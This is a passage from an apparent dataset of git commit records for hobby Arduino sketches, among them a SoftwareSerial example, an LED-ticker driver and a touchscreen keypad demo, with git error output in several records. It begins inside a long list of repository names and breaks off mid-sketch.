\/Energia,cscenter\/Arduino,garci66\/Arduino,raimohanska\/Arduino,bigjosh\/Arduino,mangelajo\/Arduino,nkolban\/Arduino,zederson\/Arduino,henningpohl\/Arduino,drpjk\/Arduino,mboufos\/esp8266-Arduino,plinioseniore\/Arduino,martianmartin\/Energia,nkolban\/Arduino,adafruit\/ESP8266-Arduino,tbowmo\/Arduino,mboufos\/esp8266-Arduino,croberts15\/Energia,xxxajk\/Arduino-1,bsmr-arduino\/Arduino,mateuszdw\/Arduino,lukeWal\/Arduino,spapadim\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,dvdvideo1234\/Energia,lukeWal\/Arduino,adamkh\/Arduino,andrealmeidadomingues\/Arduino,onovy\/Arduino,brianonn\/Energia,paulo-raca\/ESP8266-Arduino,championswimmer\/Arduino,dvdvideo1234\/Energia,Ramoonus\/Arduino,ogferreiro\/Arduino,radiolok\/Energia,lulufei\/Arduino,benwolfe\/esp8266-Arduino,majenkotech\/Arduino,eggfly\/arduino,NoPinky\/Energia,gestrem\/Arduino,battosai30\/Energia,steamboating\/Arduino,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,mattvenn\/Arduino,superboonie\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,rodibot\/Arduino,chaveiro\/Arduino,weera00\/Arduino,adamkh\/Arduino,jabezGit\/Arduino,andrealmeidadomingues\/Arduino,stevemarple\/Arduino,henningpohl\/Arduino,gberl001\/Arduino,radiolok\/Energia,stevemarple\/Arduino-org,spapadim\/Arduino,jaimemaretoli\/Arduino,mangelajo\/Arduino,01org\/Arduino,adafruit\/ESP8266-Arduino,xxxajk\/Arduino-1,mc-hamster\/esp8266-Arduino,garci66\/Arduino,sanyaade-iot\/Arduino-1,eeijcea\/Arduino-1,fungxu\/Arduino,radiolok\/Energia,talhaburak\/Arduino,NicoHood\/Arduino,ms-iot\/Arduino,shiitakeo\/Arduino,gestrem\/Arduino,gurbrinder\/Arduino,OpenDevice\/Arduino,scdls\/Arduino,stevemarple\/Arduino-org,ricklon\/Arduino,andrealmeidadomingues\/Arduino,ikbelkirasan\/Arduino,ogferreiro\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,i--storm\/Energia,battosai30\/Energia,meanbot\/Energia,noahchense\/Arduino-1,DavidUser\/Energia,scdls\/Arduino,stevemarple\/Arduino-org,ntruchsess\/Arduino-1,SmartArduino\/Arduino-1,superboonie\/Arduino,EmuxEvans\/Arduino,chaveiro\/Arduino,zaiexx\/Arduino,aichi\/Arduino-2,ricklon\/Arduino,DavidUser\/Energia,croberts15\/Energia,danielchalef\/Arduino,tskurauskas\/Arduino,danielohh\/Energia,championswimmer\/Arduino,spapadim\/Arduino,ssvs111\/Arduino,ashwin713\/Arduino,arduino-org\/Arduino,jaehong\/Xmegaduino,tannewt\/Arduino,NeuralSpaz\/Arduino,arunkuttiyara\/Arduino,NaSymbol\/Arduino,me-no-dev\/Arduino-1,zederson\/Arduino,ogahara\/Arduino,PeterVH\/Arduino,PaoloP74\/Arduino,Alfredynho\/AgroSis,Cloudino\/Arduino,eeijcea\/Arduino-1,tommyli2014\/Arduino,tomkrus007\/Arduino,vbextreme\/Arduino,fungxu\/Arduino,acosinwork\/Arduino,mc-hamster\/esp8266-Arduino,Alfredynho\/AgroSis,pasky\/Energia,ashwin713\/Arduino,me-no-dev\/Arduino-1,arunkuttiyara\/Arduino,benwolfe\/esp8266-Arduino,ogahara\/Arduino,jamesrob4\/Arduino,arunkuttiyara\/Arduino,UDOOboard\/Arduino,probonopd\/Arduino,probonopd\/Arduino,leftbrainstrain\/Arduino-ESP8266,noahchense\/Arduino-1,meanbot\/Energia,cevatbostancioglu\/Energia,lulufei\/Arduino,eddyst\/Arduino-SourceCode,tommyli2014\/Arduino,Protoneer\/Arduino,byran\/Arduino,acosinwork\/Arduino,lukeWal\/Arduino,ms-iot\/Arduino,rodibot\/Arduino,381426068\/Arduino,bobintornado\/Energia,niggor\/Arduino_cc,ccoenen\/Arduino,bsmr-arduino\/Arduino,tannewt\/Arduino,NaSymbol\/Arduino,me-no-dev\/Arduino-1,pasky\/Energia,ThoughtWorksIoTGurgaon\/Arduino,diydrones\/Arduino,stevemarple\/Arduino-org,mboufos\/esp8266-Arduino,dvdvideo1234\/Energia,snargledorf\/Arduino,gberl001\/Arduino,ogferreiro\/Arduino,vigneshmanix\/Energia,Chris--A\/Arduino,zenmanenergy\/Arduino,me-no-dev\/Arduino-1,plinioseniore\/Arduino,jaej-dev\/Arduino,ogferreiro\/Arduino,niggor\/Arduino_cc,vigneshmanix\/Energia,rcook\/DesignLab,wayoda\/Arduino,EmuxEvans\/Arduino,steamboating\/Arduino,sanyaade-iot\/Arduino-1,onovy\/Arduino,weera00\/Arduino,tannewt\/Arduino,UDOOboard\/Arduino,jaej-dev\/Arduino,talhaburak\/Arduino,Chris--A\/Arduino,Gourav2906\/Arduino,drpjk\/Arduino,cscenter\/Arduino,jaej-dev\/Arduino,Cloudino\/Arduino,plaintea\/esp8266-Arduino,jomolinare\/Arduino,xxxajk\/Arduino-1,acosinwork\/Arduino,gonium\/Arduino,stickbreaker\/Arduino,ektor5\/Arduino,leftbrainstrain\/Arduino-ESP8266,rodibot\/Arduino,01org\/Arduino,odbol\/Arduino,ogahara\/Arduino,smily77\/Arduino,danielohh\/Energia,NoPinky\/Energia,talhaburak\/Arduino,jaehong\/Xmegaduino,bugobliterator\/BUAGI,zacinaction\/Energia,wayoda\/Arduino,onovy\/Arduino,jaimemaretoli\/Arduino,brianonn\/Energia,ms-iot\/Arduino,Cloudino\/Arduino,toddtreece\/esp8266-Arduino,Ramoonus\/Arduino,eeijcea\/Arduino-1,sanyaade-iot\/Energia,jaimemaretoli\/Arduino,qtonthat\/Energia,radut\/Arduino,shannonshsu\/Arduino,mattvenn\/Arduino,PeterVH\/Arduino,weera00\/Arduino,tannewt\/Arduino,EmuxEvans\/Arduino,battosai30\/Energia,bugobliterator\/BUAGI,tbowmo\/Arduino,ari-analytics\/Arduino,ogferreiro\/Arduino,radiolok\/Energia,stevemarple\/Arduino-org,stickbreaker\/Arduino,gurbrinder\/Arduino,HCastano\/Arduino,adafruit\/ESP8266-Arduino,brianonn\/Energia,01org\/Arduino,zederson\/Arduino,ForestNymph\/Arduino_sources,tskurauskas\/Arduino,me-no-dev\/Arduino-1,radut\/Arduino,cevatbostancioglu\/Energia,PeterVH\/Arduino,jadonk\/Energia,laylthe\/Arduino,shannonshsu\/Arduino,garci66\/Arduino,danielchalef\/Arduino,mc-hamster\/esp8266-Arduino,SmartArduino\/Arduino-1,piersoft\/esp8266-Arduino,plaintea\/esp8266-Arduino,danielohh\/Energia,NaSymbol\/Arduino,talhaburak\/Arduino,mangelajo\/Arduino,adafruit\/ESP8266-Arduino,ssvs111\/Arduino,henningpohl\/Arduino,stevemarple\/Arduino,talhaburak\/Arduino,KlaasDeNys\/Arduino,damellis\/Arduino,koltegirish\/Arduino,ogahara\/Arduino,UDOOboard\/Arduino,spapadim\/Arduino,me-no-dev\/Arduino-1,pdNor\/Arduino,henningpohl\/Arduino,01org\/Arduino,wayoda\/Arduino,SmartArduino\/Arduino-1,rcook\/DesignLab,NeuralSpaz\/Arduino,HCastano\/Arduino,noahchense\/Arduino-1,i--storm\/Energia,ashwin713\/Arduino,mattvenn\/Arduino,wilhelmryan\/Arduino,ntruchsess\/Arduino-1,Cloudino\/Arduino,zenmanenergy\/Arduino,probonopd\/Arduino,weera00\/Arduino,paulmand3l\/Arduino,zacinaction\/Energia,zaiexx\/Arduino,ashwin713\/Arduino,cevatbostancioglu\/Energia,OpenDevice\/Arduino,danielohh\/Energia,eduardocasarin\/Arduino,ccoenen\/Arduino,andyvand\/Arduino-1,croberts15\/Energia,wilhelmryan\/Arduino,garci66\/Arduino,381426068\/Arduino,aichi\/Arduino-2,zacinaction\/Energia,vigneshmanix\/Energia,NaSymbol\/Arduino,lulufei\/Arduino,paulo-raca\/ESP8266-Arduino,niggor\/Arduino_cc,gberl001\/Arduino,nkolban\/Arduino,talhaburak\/Arduino,diydrones\/Arduino,smily77\/Arduino,brianonn\/Energia,jamesrob4\/Arduino,paulmand3l\/Arduino,piersoft\/esp8266-Arduino,martianmartin\/Energia,bsmr-arduino\/Arduino,zaiexx\/Arduino,jomolinare\/Arduino,xxxajk\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,Chris--A\/Arduino,ikbelkirasan\/Arduino,jabezGit\/Arduino,nandojve\/Arduino,noahchense\/Arduino-1,pdNor\/Arduino,pdNor\/Arduino,odbol\/Arduino,damellis\/Arduino,HCastano\/Arduino,jabezGit\/Arduino,sanyaade-iot\/Arduino-1,meanbot\/Energia,bigjosh\/Arduino,jamesrob4\/Arduino,nkolban\/Arduino,Orthogonal-Systems\/arduino-libs,PeterVH\/Arduino,arduino-org\/Arduino,laylthe\/Arduino,NoPinky\/Energia,martianmartin\/Energia,wdoganowski\/Arduino,sanyaade-iot\/Energia,zenmanenergy\/Arduino,bigjosh\/Arduino,HCastano\/Arduino,qtonthat\/Energia,arduino-org\/Arduino,nandojve\/Arduino,ntruchsess\/Arduino-1,tskurauskas\/Arduino,gberl001\/Arduino,chaveiro\/Arduino,byran\/Arduino,eduardocasarin\/Arduino,martianmartin\/Energia,Gourav2906\/Arduino,wilhelmryan\/Arduino,vbextreme\/Arduino,tomkrus007\/Arduino,KlaasDeNys\/Arduino,rodibot\/Arduino,mattvenn\/Arduino,stevemayhew\/Arduino,Protoneer\/Arduino,raimohanska\/Arduino,wdoganowski\/Arduino,jadonk\/Energia,eduardocasarin\/Arduino,damellis\/Arduino,nkolban\/Arduino,acosinwork\/Arduino,kidswong999\/Arduino,nandojve\/Arduino,wdoganowski\/Arduino,danielchalef\/Arduino,ricklon\/Arduino,bigjosh\/Arduino,Gourav2906\/Arduino,leftbrainstrain\/Arduino-ESP8266,adamkh\/Arduino,pdNor\/Arduino,superboonie\/Arduino,radiolok\/Energia,jmgonzalez00449\/Arduino,diydrones\/Arduino,shannonshsu\/Arduino,dvdvideo1234\/Energia,i--storm\/Energia,shiitakeo\/Arduino,jaej-dev\/Arduino,zenmanenergy\/Arduino,NicoHood\/Arduino,stickbreaker\/Arduino,shiitakeo\/Arduino,Gourav2906\/Arduino,zederson\/Arduino,brianonn\/Energia,nandojve\/Arduino,stickbreaker\/Arduino,garci66\/Arduino,zederson\/Arduino,Cloudino\/Cloudino-Arduino-IDE,tomkrus007\/Arduino,ikbelkirasan\/Arduino,myrtleTree33\/Arduino,chaveiro\/Arduino,snargledorf\/Arduino,fungxu\/Arduino,danielchalef\/Arduino,plinioseniore\/Arduino,OpenDevice\/Arduino,gurbrinder\/Arduino,ricklon\/Arduino,eeijcea\/Arduino-1,danielohh\/Energia,jaej-dev\/Arduino,i--storm\/Energia,aichi\/Arduino-2,chaveiro\/Arduino,diydrones\/Arduino,rcook\/DesignLab,wilhelmryan\/Arduino,croberts15\/Energia,zaiexx\/Arduino,eddyst\/Arduino-SourceCode,ashwin713\/Arduino,paulo-raca\/ESP8266-Arduino,pasky\/Energia,adamkh\/Arduino,tomkrus007\/Arduino,bsmr-arduino\/Arduino,ccoenen\/Arduino,ssvs111\/Arduino,381426068\/Arduino,eggfly\/arduino,adamkh\/Arduino,jomolinare\/Arduino,cscenter\/Arduino,pdNor\/Arduino,sanyaade-iot\/Energia,gestrem\/Arduino,aichi\/Arduino-2,wilhelmryan\/Arduino,onovy\/Arduino,jamesrob4\/Arduino,danielchalef\/Arduino,jmgonzalez00449\/Arduino,sanyaade-iot\/Energia,sanyaade-iot\/Energia,benwolfe\/esp8266-Arduino,bigjosh\/Arduino,kidswong999\/Arduino,drpjk\/Arduino,niggor\/Arduino_cc,jaehong\/Xmegaduino,garci66\/Arduino,plaintea\/esp8266-Arduino,lukeWal\/Arduino,vigneshmanix\/Energia,niggor\/Arduino_cc,NaSymbol\/Arduino,byran\/Arduino,andyvand\/Arduino-1,ccoenen\/Arduino,aichi\/Arduino-2,ogferreiro\/Arduino,NeuralSpaz\/Arduino,mateuszdw\/Arduino,battosai30\/Energia,meanbot\/Energia,paulo-raca\/ESP8266-Arduino,wilhelmryan\/Arduino,myrtleTree33\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jmgonzalez00449\/Arduino,benwolfe\/esp8266-Arduino,laylthe\/Arduino,battosai30\/Energia,HCastano\/Arduino,ForestNymph\/Arduino_sources,me-no-dev\/Arduino-1,talhaburak\/Arduino,jmgonzalez00449\/Arduino,wdoganowski\/Arduino,HCastano\/Arduino,radiolok\/Energia,ccoenen\/Arduino,KlaasDeNys\/Arduino,jamesrob4\/Arduino,raimohanska\/Arduino,NeuralSpaz\/Arduino,xxxajk\/Arduino-1,chaveiro\/Arduino,Chris--A\/Arduino,pasky\/Energia,niggor\/Arduino_cc,DavidUser\/Energia,jadonk\/Energia,tannewt\/Arduino,steamboating\/Arduino,probonopd\/Arduino,leftbrainstrain\/Arduino-ESP8266,wdoganowski\/Arduino,adafruit\/ESP8266-Arduino,arunkuttiyara\/Arduino,gberl001\/Arduino,kidswong999\/Arduino,niggor\/Arduino_cc,weera00\/Arduino,andrealmeidadomingues\/Arduino,nandojve\/Arduino,ogahara\/Arduino,eggfly\/arduino,ThoughtWorksIoTGurgaon\/Arduino,01org\/Arduino,wayoda\/Arduino,EmuxEvans\/Arduino,zacinaction\/Energia,cscenter\/Arduino,Orthogonal-Systems\/arduino-libs,laylthe\/Arduino,drpjk\/Arduino,UDOOboard\/Arduino,raimohanska\/Arduino,eddyst\/Arduino-SourceCode,bugobliterator\/BUAGI,ms-iot\/Arduino,ntruchsess\/Arduino-1,plinioseniore\/Arduino,sanyaade-iot\/Arduino-1,ashwin713\/Arduino,scdls\/Arduino,ms-iot\/Arduino,ccoenen\/Arduino,stevemarple\/Arduino,smily77\/Arduino,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,smily77\/Arduino,PaoloP74\/Arduino,lukeWal\/Arduino,piersoft\/esp8266-Arduino,ektor5\/Arduino,SmartArduino\/Arduino-1,tomkrus007\/Arduino,drpjk\/Arduino,mc-hamster\/esp8266-Arduino,qtonthat\/Energia,plaintea\/esp8266-Arduino,drpjk\/Arduino,aichi\/Arduino-2,ari-analytics\/Arduino,tbowmo\/Arduino,adamkh\/Arduino,NoPinky\/Energia,superboonie\/Arduino,vbextreme\/Arduino,scdls\/Arduino,smily77\/Arduino,adamkh\/Arduino,piersoft\/esp8266-Arduino,ari-analytics\/Arduino,KlaasDeNys\/Arduino,DavidUser\/Energia,HCastano\/Arduino,qtonthat\/Energia,shiitakeo\/Arduino,superboonie\/Arduino,eduardocasarin\/Arduino,mattvenn\/Arduino,cevatbostancioglu\/Energia,stevemayhew\/Arduino,noahchense\/Arduino-1,stevemarple\/Arduino,niggor\/Arduino_cc,chaveiro\/Arduino,ntruchsess\/Arduino-1,arunkuttiyara\/Arduino,bobintornado\/Energia,mateuszdw\/Arduino,Protoneer\/Arduino,eeijcea\/Arduino-1,championswimmer\/Arduino,aichi\/Arduino-2,Cloudino\/Arduino,ricklon\/Arduino,kidswong999\/Arduino,karlitxo\/Arduino,bugobliterator\/BUAGI,ForestNymph\/Arduino_sources,jmgonzalez00449\/Arduino,andyvand\/Arduino-1,karlitxo\/Arduino,andrealmeidadomingues\/Arduino,gonium\/Arduino,tskurauskas\/Arduino,karlitxo\/Arduino,paulmand3l\/Arduino,bobintornado\/Energia,PaintYourDragon\/Arduino,bobintornado\/Energia,gonium\/Arduino,sanyaade-iot\/Energia,byran\/Arduino,kidswong999\/Arduino,damellis\/Arduino,PeterVH\/Arduino,ikbelkirasan\/Arduino,jabezGit\/Arduino,onovy\/Arduino,ari-analytics\/Arduino,gestrem\/Arduino,raimohanska\/Arduino,kidswong999\/Arduino,snargledorf\/Arduino,ikbelkirasan\/Arduino,fungxu\/Arduino,NeuralSpaz\/Arduino,odbol\/Arduino,garci66\/Arduino,Cloudino\/Arduino,stevemarple\/Arduino-org,stevemarple\/Arduino,shannonshsu\/Arduino,chaveiro\/Arduino,tbowmo\/Arduino,superboonie\/Arduino,jabezGit\/Arduino,bigjosh\/Arduino,acosinwork\/Arduino,NicoHood\/Arduino,fungxu\/Arduino,linino\/Arduino,UDOOboard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,ricklon\/Arduino,KlaasDeNys\/Arduino,KlaasDeNys\/Arduino,shannonshsu\/Arduino,jamesrob4\/Arduino,mateuszdw\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaimemaretoli\/Arduino,zenmanenergy\/Arduino,NoPinky\/Energia,drpjk\/Arduino,radut\/Arduino,andrealmeidadomingues\/Arduino,EmuxEvans\/Arduino,danielohh\/Energia,Alfredynho\/AgroSis,stickbreaker\/Arduino,wilhelmryan\/Arduino,UDOOboard\/Arduino,spapadim\/Arduino,majenkotech\/Arduino,stevemayhew\/Arduino,henningpohl\/Arduino,jomolinare\/Arduino,ektor5\/Arduino,jmgonzalez00449\/Arduino,battosai30\/Energia,jmgonzalez00449\/Arduino,leftbrainstrain\/Arduino-ESP8266,ashwin713\/Arduino,linino\/Arduino,paulo-raca\/ESP8266-Arduino,karlitxo\/Arduino,Chris--A\/Arduino,vigneshmanix\/Energia,bsmr-arduino\/Arduino,xxxajk\/Arduino-1,noahchense\/Arduino-1,NicoHood\/Arduino,eeijcea\/Arduino-1,ssvs111\/Arduino,sanyaade-iot\/Arduino-1,NaSymbol\/Arduino,ForestNymph\/Arduino_sources,jabezGit\/Arduino,superboonie\/Arduino,i--storm\/Energia,ms-iot\/Arduino,fungxu\/Arduino,stevemayhew\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,henningpohl\/Arduino,jaehong\/Xmegaduino,toddtreece\/esp8266-Arduino,tommyli2014\/Arduino,kidswong999\/Arduino,karlitxo\/Arduino,ForestNymph\/Arduino_sources,ForestNymph\/Arduino_sources,gonium\/Arduino,battosai30\/Energia,ThoughtWorksIoTGurgaon\/Arduino,lulufei\/Arduino,gberl001\/Arduino,Ramoonus\/Arduino,zenmanenergy\/Arduino,rcook\/DesignLab,arduino-org\/Arduino,PaoloP74\/Arduino,laylthe\/Arduino,stickbreaker\/Arduino,ssvs111\/Arduino,gonium\/Arduino,ikbelkirasan\/Arduino,gurbrinder\/Arduino,ektor5\/Arduino,eddyst\/Arduino-SourceCode,381426068\/Arduino,tannewt\/Arduino,laylthe\/Arduino,stevemarple\/Arduino,NaSymbol\/Arduino,PaintYourDragon\/Arduino,myrtleTree33\/Arduino,qtonthat\/Energia,Protoneer\/Arduino,PaoloP74\/Arduino,jaimemaretoli\/Arduino,arunkuttiyara\/Arduino,piersoft\/esp8266-Arduino,jabezGit\/Arduino,lulufei\/Arduino,probonopd\/Arduino,radut\/Arduino,shiitakeo\/Arduino,leftbrainstrain\/Arduino-ESP8266,cevatbostancioglu\/Energia,i--storm\/Energia,Chris--A\/Arduino,radiolok\/Energia,eduardocasarin\/Arduino,ogferreiro\/Arduino,wdoganowski\/Arduino,PaoloP74\/Arduino,cscenter\/Arduino,tbowmo\/Arduino,fungxu\/Arduino,niggor\/Arduino_cc,stickbreaker\/Arduino,jaej-dev\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eddyst\/Arduino-SourceCode,andyvand\/Arduino-1,mangelajo\/Arduino,jaimemaretoli\/Arduino,gurbrinder\/Arduino,ektor5\/Arduino,spapadim\/Arduino,jomolinare\/Arduino,eggfly\/arduino,gonium\/Arduino,tomkrus007\/Arduino,cscenter\/Arduino,tbowmo\/Arduino,NicoHood\/Arduino,shannonshsu\/Arduino,bobintornado\/Energia,PaintYourDragon\/Arduino,zaiexx\/Arduino,stevemarple\/Arduino,Ramoonus\/Arduino,OpenDevice\/Arduino,nandojve\/Arduino,bobintornado\/Energia,pdNor\/Arduino,arunkuttiyara\/Arduino,Alfredynho\/AgroSis,shiitakeo\/Arduino,lulufei\/Arduino,eddyst\/Arduino-SourceCode,wdoganowski\/Arduino,ntruchsess\/Arduino-1,snargledorf\/Arduino,myrtleTree33\/Arduino,jaehong\/Xmegaduino,stevemayhew\/Arduino,radut\/Arduino,steamboating\/Arduino,PaintYourDragon\/Arduino,OpenDevice\/Arduino,wayoda\/Arduino,plinioseniore\/Arduino,pasky\/Energia,danielchalef\/Arduino,paulmand3l\/Arduino,PaintYourDragon\/Arduino,KlaasDeNys\/Arduino,ari-analytics\/Arduino,jaimemaretoli\/Arduino,bsmr-arduino\/Arduino,jadonk\/Energia,odbol\/Arduino,Ramoonus\/Arduino,NicoHood\/Arduino,Alfredynho\/AgroSis,championswimmer\/Arduino,raimohanska\/Arduino,zaiexx\/Arduino,meanbot\/Energia,cscenter\/Arduino,Gourav2906\/Arduino,radut\/Arduino,ForestNymph\/Arduino_sources,wayoda\/Arduino","old_file":"libraries\/SoftwareSerial\/examples\/SoftwareSerialExample\/SoftwareSerialExample.ino","new_file":"libraries\/SoftwareSerial\/examples\/SoftwareSerialExample\/SoftwareSerialExample.ino","new_contents":"#include <SoftwareSerial.h>\n\nSoftwareSerial mySerial(2, 3);\n\nvoid setup() \n{\n Serial.begin(57600);\n Serial.println(\"Goodnight moon!\");\n\n \/\/ set the data rate for the SoftwareSerial port\n mySerial.begin(4800);\n mySerial.println(\"Hello, world?\");\n}\n\nvoid loop() \/\/ run over and over\n{\n if (mySerial.available())\n Serial.write(mySerial.read());\n if (Serial.available())\n mySerial.write(Serial.read());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/SoftwareSerial\/examples\/SoftwareSerialExample\/SoftwareSerialExample.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"9a396ced6366aef2c576a4910b74bedee5adef6b","subject":"new tickerLed demo sketch","message":"new tickerLed demo sketch\n","repos":"jcw\/jeelib,jcw\/jeelib","old_file":"examples\/RF12\/tickerLed\/tickerLed.ino","new_file":"examples\/RF12\/tickerLed\/tickerLed.ino","new_contents":"\/\/ Driver for the Conrad \"lichtkrant\" unit, i.e. scrolling LED ticker display\n\/\/ 2011-10-25 <jc@wippler.nl> http:\/\/opensource.org\/licenses\/mit-license.php\n\n#include <JeeLib.h>\n\n#define WAIT '\\0'\n\nchar buffer [1500];\nword next, fill;\nbyte check;\n\nstatic void addBuf (char c) {\n buffer[fill++] = c;\n if (fill > sizeof buffer)\n fill = 0; \/\/ there is no buffer overflow checking\n check ^=c;\n}\n\nstatic void addBuf (const char* str, char len =-1) {\n if (len < 0)\n len = strlen(str);\n while (--len >= 0)\n addBuf(*str++);\n}\n\nstatic void addMsg (const char* str, char len =-1) {\n addBuf(\"<ID01>\");\n check = 0;\n addBuf(str, len);\n byte v = check;\n addBuf(\"0123456789ABCDEF\"[v>>4]);\n addBuf(\"0123456789ABCDEF\"[v&15]);\n addBuf(\"<E>\");\n addBuf(WAIT);\n}\n\nvoid setup () {\n Serial.begin(9600);\n addBuf(\"<ID>01<E>\"); addBuf(WAIT);\n addMsg(\"<D*>\"); addBuf(WAIT); addBuf(WAIT);\n addMsg(\"<L1><PA><FE><MA><WC><FE>Hello from JeeLabs\");\n addMsg(\"<RPA>\");\n rf12_initialize(17, RF12_868MHZ, 4);\n}\n\nvoid loop () {\n if (next != fill && bitRead(UCSR0A, UDRE0)) {\n char c = buffer[next++]; \n if (next >= sizeof buffer)\n next = 0;\n if (c != WAIT)\n UDR0 = c;\n else\n delay(100);\n delay(10);\n }\n \n if (rf12_recvDone() && rf12_crc == 0)\n addMsg((const char*) rf12_data, rf12_len);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RF12\/tickerLed\/tickerLed.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"3cac49ce9701dae879ebbea3c6ce8b976e850a92","subject":"Delete Lightning862OrangeAndBlue.ino","message":"Delete Lightning862OrangeAndBlue.ino","repos":"nolanpatrick\/spi_leds_862","old_file":"Lightning862OrangeAndBlue\/Lightning862OrangeAndBlue.ino","new_file":"Lightning862OrangeAndBlue\/Lightning862OrangeAndBlue.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/nolanpatrick\/spi_leds_862.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"428904d34f79ea51c0edbd2401c1192754d902cc","subject":"keypad demo","message":"keypad demo\n","repos":"warefab\/Warefab_TFT","old_file":"examples\/keypad\/keypad.ino","new_file":"examples\/keypad\/keypad.ino","new_contents":"#include <SoftwareSerial.h>\n#include <Warefab_TFT.h>\n\nchar buttons[12] = {\n '1', '2', '3',\n '4', '5', '6',\n '7', '8', '9',\n '*', '0', 'C'\n};\n\/\/button coordinates\nuint16_t button_coords[13][5];\n\n\/\/selection\nchar selection = ' ';\n\/\/index\nuint16_t index = 0;\n\/\/xpos\nuint16_t xpos = 5;\n\/\/ypos\nuint16_t ypos = 80;\nchar cstr[30];\nchar pwd[5] = {0, 0, 0, 0, 0};\nchar actual[4] = {'4', '3', '4', '5'};\nuint8_t pindex = 0;\nuint8_t scs = 0;\n\nSoftwareSerial ss_tft(2, 3); \/\/ RX, TX\nWarefab_TFT tft(&ss_tft);\n\n\nvoid setup() {\n \/\/initialize uart speed, 115200\n tft.begin(115200);\n __init();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n checkButton();\n}\n\/\/init, draw buttons and register touch coordinates\nvoid __init()\n{\n memset(cstr, 0, 30);\n \/\/fill screen, black\n tft.fillScreen(0, 0, 0);\n \/\/rotate display\n tft.rotateDisplay(tft.rotate.rotate_0);\n \/\/set pen color\n tft.penColor(120, 120, 120);\n tft.brushColor(0, 0, 0);\n tft.fillRectangle(4, 30, 234, 100, 1);\n tft.setFont(tft.font.calibri);\n tft.penColor(250, 255, 10);\n tft.textBackColor(0, 0, 0);\n tft.drawText(\"ENTER CODE\", 4, 10);\n \/\/set font\n tft.setFont(tft.font.terminal);\n \/\/create buttons\n for (int y = 0; y < 4; y++)\n {\n for (int x = 0; x < 3; x++)\n {\n \/\/draw button\n tft.penColor(50, 50 , 150);\n tft.drawRectangle(58 * x + 4, 105 + 50 * y + 4, 58 * x + 58 - 2, 105 + 50 * y + 50 - 2, 1);\n tft.penColor(255, 255, 255);\n \/\/tft.textBackColor(50, 50 , 110);\n sprintf(cstr, \"%c\", buttons[index]);\n tft.drawText(cstr, 58 * x + 24, 105 + 50 * y + 17);\n \/\/register touch coordinates and button name\n uint16_t c[5] = {58 * x + 4, 105 + 50 * y + 4, 58 * x + 58 - 2, 105 + 50 * y + 50 - 2, (uint8_t)buttons[index]};\n for (uint8_t j = 0; j < 5; j++)\n button_coords[index][j] = c[j];\n index += 1;\n delay(1);\n }\n }\n \/\/Enter button\n tft.penColor(150, 50 , 50);\n tft.drawRectangle(180, 110, 234, 302, 1);\n tft.penColor(255, 255, 255);\n \/\/tft.textBackColor(110, 50 , 50);\n tft.drawText(\">>\", 195, 200);\n \/\/loop\n tft.penColor(0, 255, 255);\n tft.setFont(tft.font.terminal);\n \/\/tft.textBackColor(120, 120, 120);\n tft.setFont(tft.font.elephant);\n delay(20);\n}\n\/\/check which button pressed\nvoid checkButton()\n{\n if (tft.getSensorData() && (tft.touchX > 20 && tft.touchY > 20)) {\n \/\/map touch xpos to lcd(0-239)\n xpos = uint16_t(map(tft.touchX, 120, 898, 0, 239));\n \/\/map touch ypos to lcd(0-319)\n ypos = uint16_t(map(tft.touchY, 55, 950, 0, 319));\n\n if ((xpos >= 180 && xpos <= 234 &&\n ypos >= 110 && ypos <= 302) \/*||\n tft.irCode == irCtrlCodes[13]*\/) {\n scs = 1;\n for (uint8_t x = 0; x < 4; x++)\n {\n if (pwd[x] != actual[x])\n {\n scs = 0;\n break;\n }\n }\n tft.setFont(tft.font.terminal);\n if (scs) tft.drawText(\"SUCCESS\", 55, 60);\n else\n {\n tft.penColor(255, 0, 0);\n tft.drawText(\"ERROR\", 55, 60);\n }\n tft.setFont(tft.font.elephant);\n } else {\n \/\/check button touch\n for (uint8_t button = 0; button < 12; button++) {\n if ((xpos >= button_coords[button][0] && xpos <= button_coords[button][2] &&\n ypos >= button_coords[button][1] && ypos <= button_coords[button][3])\/* ||\n tft.irCode == irCtrlCodes[button]*\/) {\n \/\/button item name\n selection = button_coords[button][4];\n \/\/set button action info\n switch (selection) {\n case '0':\n case '1':\n case '2':\n case '3':\n case '4':\n case '5':\n case '6':\n case '7':\n case '8':\n case '9':\n if (pindex < 4)\n {\n pwd[pindex] = selection;\n pwd[pindex + 1] = '\\0';\n tft.drawText(pwd, 30, 40);\n pindex++;\n }\n break;\n case 'C':\n tft.brushColor(0, 0, 0);\n tft.penColor(120, 120, 120);\n tft.fillRectangle(4, 30, 234, 100, 1);\n tft.penColor(0, 255, 255);\n pindex = 0;\n memset(pwd, 0, 4);\n break;\n default:\n break;\n }\n break;\n }\n }\n delay(100);\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/keypad\/keypad.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c9f0b9e182a21aceab21083bac6e5c658dea32f3","subject":"hc-sr04","message":"hc-sr04\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_08_hc-sr04\/_08_hc-sr04.ino","new_file":"_08_hc-sr04\/_08_hc-sr04.ino","new_contents":"#define Trig_pin 4\n\nvolatile unsigned long echoBufferx[2];\nvolatile unsigned long echoBuffery[2];\n\nvolatile unsigned 